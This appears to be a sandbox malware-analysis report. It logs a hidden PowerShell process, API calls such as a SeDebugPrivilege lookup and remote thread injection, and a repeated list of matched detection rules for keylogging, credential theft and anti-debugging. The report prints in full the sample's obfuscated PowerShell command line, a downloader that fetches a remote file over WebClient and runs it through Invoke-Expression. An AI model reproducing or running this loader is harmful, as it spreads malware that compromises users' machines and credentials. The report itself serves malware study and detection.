;$tribunitiary=$Deprivationstilstande[$Mandatoriness]}$Biens=316499;$Legendarisk=29869;Skibslistes (reregulation 'An r$BanggHydrLRe vo skabBrugAHandlTent:RecubSopheNatuNPardZIncaa MisnSalaT,ribhLa.gr ruta Pe c iste MejnC.rrEDa,a Sp,n=V tr BringA die GasTMark-F.laC TrioDeponKgmttGrubeFilantillTPer Nedk$Fu.kb di,rPapmIModeeSpaaVDr fE');Skibslistes (reregulation 'Udr.$ Talg Sk lOut oPledbSkr.aOliglTrls:ToplS B,nh MoneE,grredoml.ndeoKinec alpkCooe Time=Udfr Sauc[ BorSDkniyBehosHalvt ScaeSca.mSniv.,eckCBsseoFastn neovTilseSclerTegntSkva]Down:Brom:PukkF Ster nicoSyl mRef.B SkoaPronsSeiseLoeb6He,e4,kolSDefltAfs,rStati erntracg kor(Reth$B blBTowlePrefnDleszCheiaCanan Vilt PsyhdelirVolua L,pc.idseGarnnEndeeS,rp)');Skibslistes (reregulation 'Haev$Con,GG lll tenODrukB impAAdg.L Kok:,lumuNeu nTreadKa se HemrUnhoCPhi,O .dkMD.camBeduaPushn Ra D CouE tneRLder Frst=tuto ,rac[CropsDhurYOutws Neut AppeAmfimJoyo.RibaTKol EtrafXSlaaTClei.triseCutiNBlodC Br o Plud BarI aryNS rfGEntr] Und:Diff: andA NyiSCauscDialITi,kIbism.DresgMiniE AnfTM jes T lT SviR SpnIAnk,NRepuG Cau(sste$Draas Oprh anie repRSin.lModeoMoticKontk Dam)');Skibslistes (reregulation 'Gimb$ uckgLangLOrigoSengBOccuAmeril Amb: C iR BanIMarid igeEPan s LidTHysti.masE PrsnFritsSang=S ed$Sensu G lnBootDHjhleMazdR.escCWaneo hypMDrtrmSnapaVandNConddFlexE onjr.and.JuneS annUwandbugarSI tetBenerArbeIUpheN gnig,rbe(Unce$Foldb OstIKldeEPrean DesS Vir,Vamp$Mistle one RegGDistE astNNewzDlithAReliRUnthi S dSSeedKBjar)');Skibslistes $Ridestiens;"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 525328 (CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x00000084
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Create a windows service rule Create_Service
description Communications over RAW Socket rule Network_TCP_Socket
description Communication using DGA rule Network_DGA
description Match Windows Http API call rule Str_Win32_Http_API
description Take ScreenShot rule ScreenShot
description Escalate priviledges rule Escalate_priviledges
description Steal credential rule local_credential_Steal
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Communications over HTTP rule Network_HTTP
description Communications use DNS rule Network_DNS
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description File Downloader rule Network_Downloader
description Match Windows Inet API call rule Str_Win32_Internet_API
description Communications over FTP rule Network_FTP
description Run a KeyLogger rule KeyLogger
description Communications over P2P network rule Network_P2P_Win
description Create a windows service rule Create_Service
description Communications over RAW Socket rule Network_TCP_Socket
description Communication using DGA rule Network_DGA
description Match Windows Http API call rule Str_Win32_Http_API
description Take ScreenShot rule ScreenShot
description Escalate priviledges rule Escalate_priviledges
description Steal credential rule local_credential_Steal
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Communications over HTTP rule Network_HTTP
description Communications use DNS rule Network_DNS
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
cmdline powershell.exe -windowstyle hidden ";$Brugerantallene='Europiseringers';;$Cheatery='Kammes';;$Uspecificeret='Fillment';;$Mandetimen='Overponderousness';;$Bvss='Stableren';;$Carval=$host.Name;function reregulation($Desertful){If ($Carval) {$Candlewicks=4} for ($zoarite=$Candlewicks;;$zoarite+=5){if(!$Desertful[$zoarite]) { break }$Krsels+=$Desertful[$zoarite]}$Krsels}function Skibslistes($Frtidig){ .($Corporation) ($Frtidig)}$Unrepugnantly=reregulation 'BaccNTwige nhTMarm.OpfyW Kl ERentBSchoCGteslunivIFolkE .efn,oilt';$Afstedkommet=reregulation 'MagnM ,ucoPreezRamiiAntilReinl Kbsa Phi/';$Vitamin=reregulation 'P unTCorpl ugds ord1Skud2';$Pickaxing='uni,[Clern BrnE Neut .id.TautSCo.pEVandrOv rvFamiiLa,eC U ie iabPS,alo haniChymnN tiTP,mpmLug,ALnesNA,ota EksgJuleE FjeRPa r]natt:Supe:My.tSHaane F.dC etaUChanr lagIPterTTraeYH lsPMonor D.go.hrytpreroIcodcForeOTheoLIndt=Mixe$findvJoriI agatRet A P yMSpariPulpN';$Afstedkommet+=reregulation 'Opva5 Bit.Vare0Mari coll(CataWaarsiQuinn.npud Sp oSterw tussFork a.eNChorTI ra Caf1L ch0G.ni. O,t0hapl;Gray helsWSpydi AsynSlot6Akti4Scot;Ar h TraaxCa n6 Te,4 Dec;klig RetirAvenvOpsi:Incu1 Raa3Arom1Frst.Sy o0De o) For Uv jG U meKnugcFinkks.ldoUnga/D.sv2 Aff0Argu1Bot 0 Akt0 onv1coun0com,1Lang BuveFM,cri SnfrHejde .erfWh mo ,fhx Mid/ Jul1Olig3Kva,1B ds.Civi0';$Anatomers=reregulation 'NvesURengS RaaEK perP os-DiazA.ortgDykke modn uclt';$tribunitiary=reregulation ' uldh PoutTapitTimupSinos.ame:sati/Ba,a/ kalfPasei Spalf.sceSentdBlennTo.o.Fe teCosiu En / Slalm no9B ektMiljESabawAwatbKart9Dvrgs Uni6O era Diga bonR SnawSyn 5FriffPartyYogiU Illi taaSikkCSpyt0Overl PrefPlas/ antfMammoEgnsrSig.s nsntWesta argaPriveB yal RipiHeargBannhS ndeOut d.almeTromrAksos.isi. .msp SilsMetem';$Deled=reregulation 'Etag>';$Corporation=reregulation 'SewaiM,noe ParX';$Defilerede240='Udpresningen134';$Cranic='\Synanon.Non';Skibslistes (reregulation 'Inte$UndeG Argl te.oTyvabafryA PlaLC ph:FlexI Rh c Allh ardTPr.sH MogyAftrO oreCUdtvOFor,pHingrk loooseslAm,sI,rkyTEkspE Br =Ekla$Kat eVejaN AdmV orm:UlrdaResiPI luPUnrud ForANonsTSor.ASval+Dags$BuleCVas R Para.anrN M liFrasC');Skibslistes (reregulation 'Pe,a$InstGPl,tLL,aiOBrembpaapa.chiL Ba.: UnddRe.eE ertpS.rtRKoffIBr.nv CyrAVan tfairi odoTrolNvelsSU detA veiStryLT lfS BruTAssiaSo.sNTagkD ntreManu=T va$figutHal,RVeheIStudbRinguAltenToupiSpegtS.ati V,naOrphRUregYMaid.NiveS uftpFe ll AfbiPyretValg(Misc$I trd urieFittLDomsEUdp Dtrea)');Skibslistes (reregulation $Pickaxing);$tribunitiary=$Deprivationstilstande[0];$Koeen=(reregulation ' F n$StyrgStivLModfOf.stB nexaTrusLTi s:BankSMonotHyl,o elrDom,tBehaiImponKrongMis.sAn.oMThomERatiDDaadLSklrEdiscmSprimD mm=Sp rN ingEWe kwTrvf-OutloBed BLithJ aleER dbcBramTDde ForfSAareY DorS,eacT spaESvanMScur.micr$PresuDisqnReasR DelECaseP oasUpr sgSagsNReseAEar,nVejet S dlboary');Skibslistes ($Koeen);Skibslistes (reregulation ' Fed$S.ulSBytntIntroW ntr Ha tNighiStornOve,g ,nksS,elmMotoeMar dOppelTrimeYdermF atmFla .Aph HPusteInd,aKvabdState enlr AutsCopo[ Aft$AsboARaggnreinaTr,atUdmaoD pomTofaeKontr.utesGaff]Nomi=Ka e$FastACen,fScrusPeltt SleeexpldA.fakSmeroMe,em P,sm ManeLoyrt');$microbic=reregulation 'C al$ArraSCoeltT eaoUltrrGenntKa diBrusnFremg eos T amStrieAlkad LimlFlaaeVildmBa emGan . MaiDBrygoOestwOmstnAntilKro.oOveraAksldKiwiF DeriForelCongeMade(Rewi$ nvetFor rSubniWindbHornu Fisn rm.i iget In ip,raaPictrSkrby Man,Tria$li,jB.rrer N tiNa eeRygevSuffeVarn)';$Brieve=$ichthyocoprolite;Skibslistes (reregulation 'Tris$Umbrg PallOmdioEmbabDrivaHandlOp.a:RelapBarirFi gC ProiNonssU skIEyewoStudnStrueT maN fte=For,(EffeT edkE S oSEvenTtran-ValrPHomoaKollt orrHUren ndv$CoshBR inr atti RateGennvPa heS.rm)');while (!$Prcisionen) {Skibslistes (reregulation ' En $ PhagBevilEsopoTentb PolatranlG.om:udstR FireAntaaGly rEnspsLec =Spon$AkteCThe,i Sigr Mi cGr.cuSpismL nnpGavslUndeeLydecS,odt') ;Skibslistes $microbic;Skibslistes (reregulation 'HypeSK.ziT solA KerRmanstPlet-Vishs Lanldelse estEDusip aks deo4');Skibslistes (reregulation 'Fund$Te.kgSupplSnagONou,BDiskascanLJu,e:TalcpB dnRD bicDebaIB,dfsDuteiMarko TheN.paaEnonfN .or= ac(safttSequEPreeSCry.T Ega-KemiP.nshaCanttSkulhVk,t Sneb$ FilBHyetRNbidil xee,uttV R mE,pir)') ;Skibslistes (reregulation 'Dist$ N nGDryflSm.lO risb SovA ChalB gp:PittMH orAChlon Po,DFiskAAulet Undoops rDealiKaldnMalaE indSVerts Met=Ngle$ MavGRgtel TowoPrkeBDrneA antLSvum:FragtLe,krUnenATvekN oars CanL b roKn.pkIhndaM lotdyreIEns O PolnwhipeBionNTil 2,arm4 chi6 ymn+Udre+Muff% erv$,kend AgoES.ilpAgenRakadiPoacvRammAJeamT ediIJaghOMe aNB oks C ntTaraIRi eL lumSNd aT.irsA Skrn DevdsvaeeNedf.ParcCLuxuOBehouGstgn.remT') ;$tribunitiary=$Deprivationstilstande[$Mandatoriness]}$Biens=316499;$Legendarisk=29869;Skibslistes (reregulation 'An r$BanggHydrLRe vo skabBrugAHandlTent:RecubSopheNatuNPardZIncaa MisnSalaT,ribhLa.gr ruta Pe c iste MejnC.rrEDa,a Sp,n=V tr BringA die GasTMark-F.laC TrioDeponKgmttGrubeFilantillTPer Nedk$Fu.kb di,rPapmIModeeSpaaVDr fE');Skibslistes (reregulation 'Udr.$ Talg Sk lOut oPledbSkr.aOliglTrls:ToplS B,nh MoneE,grredoml.ndeoKinec alpkCooe Time=Udfr Sauc[ BorSDkniyBehosHalvt ScaeSca.mSniv.,eckCBsseoFastn neovTilseSclerTegntSkva]Down:Brom:PukkF Ster nicoSyl mRef.B SkoaPronsSeiseLoeb6He,e4,kolSDefltAfs,rStati erntracg kor(Reth$B blBTowlePrefnDleszCheiaCanan Vilt PsyhdelirVolua L,pc.idseGarnnEndeeS,rp)');Skibslistes (reregulation 'Haev$Con,GG lll tenODrukB impAAdg.L Kok:,lumuNeu nTreadKa se HemrUnhoCPhi,O .dkMD.camBeduaPushn Ra D CouE tneRLder Frst=tuto ,rac[CropsDhurYOutws Neut AppeAmfimJoyo.RibaTKol EtrafXSlaaTClei.triseCutiNBlodC Br o Plud BarI aryNS rfGEntr] Und:Diff: andA NyiSCauscDialITi,kIbism.DresgMiniE AnfTM jes T lT SviR SpnIAnk,NRepuG Cau(sste$Draas Oprh anie repRSin.lModeoMoticKontk Dam)');Skibslistes (reregulation 'Gimb$ uckgLangLOrigoSengBOccuAmeril Amb: C iR BanIMarid igeEPan s LidTHysti.masE PrsnFritsSang=S ed$Sensu G lnBootDHjhleMazdR.escCWaneo hypMDrtrmSnapaVandNConddFlexE onjr.and.JuneS annUwandbugarSI tetBenerArbeIUpheN gnig,rbe(Unce$Foldb OstIKldeEPrean DesS Vir,Vamp$Mistle one RegGDistE astNNewzDlithAReliRUnthi S dSSeedKBjar)');Skibslistes $Ridestiens;"
Process injection Process 2056 resumed a thread in remote process 2164
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000088
suspend_count: 0
process_identifier: 2164
1 0 0
option -windowstyle hidden value Attempts to execute command with a hidden window